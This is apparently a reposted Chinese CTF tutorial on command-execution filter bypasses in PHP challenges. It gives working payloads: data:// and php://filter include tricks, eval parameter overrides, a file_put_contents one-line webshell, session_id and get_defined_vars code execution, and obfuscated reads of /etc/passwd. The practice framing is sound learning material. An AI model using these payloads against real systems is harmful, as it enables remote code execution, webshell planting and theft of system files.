【Ctfer练习筹划】——命令执行的解题技巧(持续更新中) ...

打印 上一主题 下一主题

主题 838|帖子 838|积分 2514

作者名:Demo不是emo 
  主页面链接:主页传送门
创作初心:齐备为了她
座右铭:不要让时代的悲哀成为你的悲哀
专研方向:web安全,后渗透技术

  每日emo:真的还有相见的机会吗
   

目录
一、关键字绕过 
1、cat限制绕过
2、$限制绕过
3、点号限制绕过(2023.1.4)
4、空格限制绕过
5、php限制绕过
二、另类变形写法 
1、eval双重参数覆盖(2022.12.31)
2、include双重参数覆盖(2023.1.3)
3、闭合双重参数绕过(2023.1.5)
4、data伪协议配合include函数命令执行
三、奇淫巧技思路
1、另类种马思路(2023.1.3)
2、highlight_file高级表现(2023.1.4)
3、字符串匹配(2023.1.4)
4、get_defined_vars()高级表现 
 5、session_start()配合session_id()命令执行
 四、常见操作 
1、通配符匹配(2023.1.4)
2、连接符绕过(2023.1.4)



命令执行也是ctf题型中比较常见的,这这些天ctf的练习中我也学到了许多新姿势,就想着写个博客记录一下,希望也能对各人解这范例的题提供帮助和思路
   由于我还在不绝的练习ctf,所以会不断记录一些新奇的解题姿势,也就是这篇博客会持续更新,建议点赞关注
  一、关键字绕过 

1、cat限制绕过

在真实环境的命令执行漏洞的过滤中,cat命令一直是防范的重点,那cat命令被写死无法绕过的时候就可以试试这个命令——tac
大概许多小伙伴没听过过这个命令,其实这个命令功能跟cat命令差不多,看下面这个图你应该就明白了,这两个命令效果差不多
  1. cat exp.py
  2. tac exp.py
复制代码

 怎么样,这下清楚了吗?cat是从上往下查察,tac就是从下往上就查察而已,但是tac命令知道的人少,所以许多都没有对tac命令举行一个过滤,所以cat命令被过滤时就可以尝试使用tac命令
   顺带提一嘴,当cat和echo这些被过滤得很严肃时,可以用cp命令把flag文件复制为txt文件,直接欣赏器访问,这也是一种很好的方法 
  2、$限制绕过

`命令`$(命令)都是执行命令的方式
反引号``是命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出。语法:`command`
实例如下,可以看到同样的体系命令使用这两种方法都能执行,下面这两个命令的效果就相同
  1. echo $(ifconfig);
  2. echo `ifconfig`;
复制代码

跟上面的tac是一个道理,$(命令)的方法被大多数人熟知,一般都存在过滤,而`命令`的方法相对来说被过滤的大概性就低了许多
3、点号限制绕过(2023.1.4)

这个就是当点号(.)被过滤时使用,也没啥好讲的,就是用下面这个替换就可以了
  1. pos(localeconv())
复制代码
localeconv() 函数返回一包罗本地数字及货币格式信息的数组。其中第一位就是点号
pos()函数就是取数组的第一位元素并返回,所以就得到了点号 
4、空格限制绕过

这个也没啥好讲的,下面这两种任意一种都能够到达空格的效果
  1. %09
复制代码
  1. $IFS$9
复制代码
以上两种任选一种替换空格都可以  
5、php限制绕过

 php的限制一般是用于防止后缀和嵌套php文件
后缀的话一般就用通配符就可以绕过了
限制嵌套php文件的话,若对传入的c举行php的过滤,那该怎么绕过呢?
例如原有这样一个语句
  1. ?c=data://text/plain,<?php system("cat flag.*hp");?>
复制代码
 那就可以用如下语句代替
  1. ?c=data://text/plain,<?= system("cat flag.*hp");?>
复制代码
 即即是号可以代替php文件标识处的"php"
可以看到,这样仍能执行


二、另类变形写法 

1、eval双重参数覆盖(2022.12.31)

 就是将eval()函数的参数的值用另外一个参数传入,例如,这两句话效果是相同的
  1. c=eval(phpinfo());
  2. c=eval($_GET[1]);&1=system(phpinfo());
复制代码
都能到达表现phpinfo的目标,如下

 这个照旧很有用的,用的也比较多
2、include双重参数覆盖(2023.1.3)

上面的eval()函数也可以换成include(),并且include可以不要括号,但是得配合伪协议中的php://filter来使用,如下
  1. c=include($_GET[1])?>&1=php://filter/read=convert.base64-encode/resource=flag.php
复制代码
或者加上括号也可以,如下
  1. c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
复制代码
 这就是经过base64编码后的flag.php的内容
   注意,这里的第二个参数,也就是要覆盖的参数(如上面的1)的值不仅仅只能是php的filter的伪协议,还可以使用其他的伪协议,例如data伪协议,如下
  1. c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
复制代码
3、闭合双重参数绕过(2023.1.5)

这个也用的非常多,在ctf题中一般就是让你传入一个值,对这个值举行大量的过滤和限制让你绕过,此时我们传入这个参数,但同时在值中引用其他变量,并直接构造闭合,如下
  1. url/?c=eval($_GET[a]);>
复制代码
此时过滤手段就会对c变量举行过滤和限制,但c我们其实没有太多敏感字符,此时我们再构造如下代码
  1. url/?c=eval($_GET[a]);>&a=system(cat flag.php);
复制代码
这样后面的a的内容就不能被检测出来,许多同学一看,诶,这和上面的思路有什么区别吗?自然是有的,上面我们只闭合了一次,再来看看这段代码
  1. c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
复制代码
可以看到这个姿势就更厉害了,c根本没有内容,那自然就不存在被过滤限制的情况,还能到达通过include检测文件的功能,岂不美哉?
4、data伪协议配合include函数命令执行

来看一个很熟悉的函数
  1. include(filename)
复制代码
 这里要将的方法就是include()函数其实是可以导致命令执行的,那就是配合data协议,当然也是有限制的,限制的就是
php.ini内里的allow_url_fopen和allow_url_include均为开启状态
 例如如今有一环境,须要我们传入c变量,传入的c将作为include函数的参数被执行,使用手法大概有如下三种
  1. 1、正常形式 ?c=data://text/plain;base64,<?php system('cat flag.php');?>
  2. 2、编码形式 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
  3. 3、url形式  ?c=data://text/plain,%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%61%74%20%66%6c%61%67%2e%70%68%70%27%29%3b%3f%3e
复制代码
第一种是正常情势,但是开发者一般都对传入的参数有限制,特殊是ctf标题,所以用处不大,用的最多的照旧第二种,编码一般就能把过滤给绕过了
第三种主打的就是一个出其不意,算是冷门招数,将后面我们要执行的语句全部换为url编码也可以执行
三、奇淫巧技思路

1、另类种马思路(2023.1.3)

 这个方法怎么说呢,有点另辟蹊径的感觉,大多数ctf题的命令执行都是对一些体系函数举行绕过,并没有限制写入文件什么的,所以可以直接利用file_put_content()函数或者其他的写入文件的函数,直接写一句话木马然后连接,一样能看到flag,如下
  1. file_put_contents("abc.php", '<?php eval($_POST["cmd"]); ?>');
复制代码
但有些出题人也会把权限写死,所以这种方法照旧比较看运气的
2、highlight_file高级表现(2023.1.4)

这种方式就比较高级了,我们模拟一个须要以GET方式传入c,并会执行eval(c)的代码,同时在该目录下存在flag.phpindex.php,如今要求通过传入c变量来读取flag.php的内容,那下面这个方式传参就能到达目标,如下
  1. ?c=highlight_file(next(array_reverse(scandir("."))));
复制代码
大概有些小伙伴连这段代码中的函数都不熟悉,这里先给各人先容一下
   scandir():是PHP中的一个函数,它可以用于扫描目录中的文件。它接受一个目录的路径作为参数,并返回该目录中文件的名称列表。
         当你将 "." 作为参数转达给 时,它将返回当前目录中的文件的名称列表。例如,如果当前目录中有文件 “file1.txt” 和 “file2.txt”,那么 将返回数组 。scandir()scandir(".")["file1.txt", "file2.txt"]
  
  array_reverse():是PHP 中的一个函数,它可以将数组中的元素反转,并返回反转后的数组。
  
  next():PHP 中的一个函数,它用于将数组的内部指针向后移动一个单位。它返回数组中当前指针位置的下一个元素的值。
  
  highlight_file(): PHP 中的一个函数,它可以将文件的源代码转换为 HTML,其中的语法高亮表现。这对于展示文件的源代码或调试代码非常有用。
  再来看看这条命令
  1.  ?c=highlight_file(next(array_reverse(scandir("."))));
复制代码
scandir(".")读取了当前文件夹的全部文件,并返回以文件名作为元素的数组
array_reverse(scandir("."))将结果字符串倒向,此时数组第一个元素是当前文件夹下最后一个文件,以此类推
next(array_reverse(scandir(".")))将内部指针向后移一位,内部指针最初执行第一位元素,如今指向第二位元素,也就是倒数第二个文件
highlight_file(next(array_reverse(scandir("."))))此时highlight_file()的参数就是当前文件夹目录下倒数第二个文件名,所以就会把这个文件的内容高亮处理并表现在欣赏器上
由于我们的环境当前目录下只有两个文件, 第一个是flag.php,第二个是index.php,所以此时欣赏器上表现的就是flag.php的内容,各人理解了吗?
   有许多同学会问,这里只有两个文件,为什么要转向再用next()取到倒数第二个文件名(也就是第一个文件),而不是直接使用第一个文件名,即highlight_file(scandir(".")),
   那是由于这样会报错,当然详细的缘故原由我暂时还不清楚,后面会相识后再来修改这里,同时在在这里也给各人先容一个新的函数——reset()
   reset()函数的作用就是将数组内部指针重新移动到第一个元素,跟next()函数换着用就可以。
  同时还有show_source()函数,该函数和highlight_file()函数功能差不多,被过滤时也可以替换为这个试试。
ctf题一般当前目录下放着就是两三个文件,所以照旧很实用的
3、字符串匹配(2023.1.4)

环境和上面一样,传入的c会被eval执行,要求读取到flag.php的内容,这个就是利用grep举行字符串匹配,绕过姿势如下
  1. c=system("cat fl*g.php | grep  -E 'fl.g' ");
复制代码
详细来说,它会使用体系的 “cat” 命令来输出文件名以 “fl” 开头且以 “g.php” 结尾的文件内容,并使用 “grep” 命令过滤掉不包罗 “fl.g” 的行。最后,这个命令的输出会被赋值给变量 $c。

4、get_defined_vars()高级表现 

   这里假设的环境照旧传入一个c变量,c变量会作为eval()函数的参数被执行 
  这里的高级用法涉及的函数如下 
   get_defined_vars() :返回一个包罗所有已界说变量列表的多维数组,这些变量包括环境变量、服务器变量和用户界说的变量。
  
array_pop() :是删除并返回数组最后一个元素。
  
current() :返回数组中的当前元素的值。
  
next() :返回数组中的下一个元素的值。
   由于get_defined_vars()返回的是一个多维数组,我们用current()可以获取到GET数组用next()可以获取到POST数组,然后用array_pop()取出POST数组内里的最后一个元素,再用eval执行就可以造成命令执行
先用get方式传入一个c变量,值如下
  1. url/?c=eval(array_pop(next(get_defined_vars())));
复制代码
 再用POST方式以cmd传入我们的恶意命令,例如体系命令
  1. cmd=system("ls");
复制代码
也可以传入phpinfo()之类的函数,效果如下 

 5、session_start()配合session_id()命令执行

这里的模拟环境也是传入一个c变量,绕过一些限制后作为eval的参数执行,则有如下两种方式可造成命令执行,
第一种 
get传参如下 
  1. c=session_start();system(session_id());
复制代码
先来看看其中的函数 
   session_start()函数用于创建一个新会话
  session_id()函数用于获取当前会话(即cookie) 
  system函数用于执行体系命令
  此时传入的cookie就会被作为system函数的参数,造成命令执行
   传入的cookie可以通过burp抓包修改或者f12中直接修改
  如下
 效果如下

 可以看到已经成功执行了我们的ls命令
   同时这里cookie的值由于是被session_id()函数取出来的,session_id()函数并不能辨认空格,但是这里也支持base64编码和写入小马,所以照旧很好用的
  但这种方法也有一个很大的弊端,那就是受php版本影响,只有5.5 -7.1.9可以执行,由于session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容,但是符合规定的照旧可以的,比如我们这里的ls命令,那当然base64编码后大概就不行了,这是须要注意的
第二种 
 get传参如下
  1. c=show_source(session_id(session_start()));
复制代码
 show_source()函数:对文件举行语法高亮表现。
 那此时cookie的值就会作为show_source()函数的参数,被show_source()函数读取并表现在欣赏器上,如下

    这里的show_source()可以换成highlight_file(),两个效果一样
  但须要注意的是这种方法同样都有php版本限制,由于使用了session_id()获取了cookie的值
 四、常见操作 

1、通配符匹配(2023.1.4)

常见的通配符如下
符号
含义

匹配单个字符如果匹配多个字符,就须要多个?连用
*
*代表任意数量的字符
[ ]
代表一定有一个在括号内的字符(非任意字符)。例如 [abcd] 代表一定有一个字符, 大概是 a, b, c, d 这四个任何一个
 例如
 一个常用的读取密码命令如下
  1. cat /etc/passwd
复制代码
使用了?通配符之后,他就大概有许多种变革,比如这两种,而这些亲测都是可以使用
  1. ​​​​​​​cat /?tc/?as?wd
  2. cat /*tc/*as*wd
复制代码
这里须要注意的也是一样,不要范围自己的思维,几种通配符也是可以搭配使用的
2、连接符绕过(2023.1.4)

单引号‘’,双引号“”,反斜杠`如:
  1. c'a't' /'e't'c'/'p'a's's'w'd 
复制代码
 








免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

徐锦洪

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表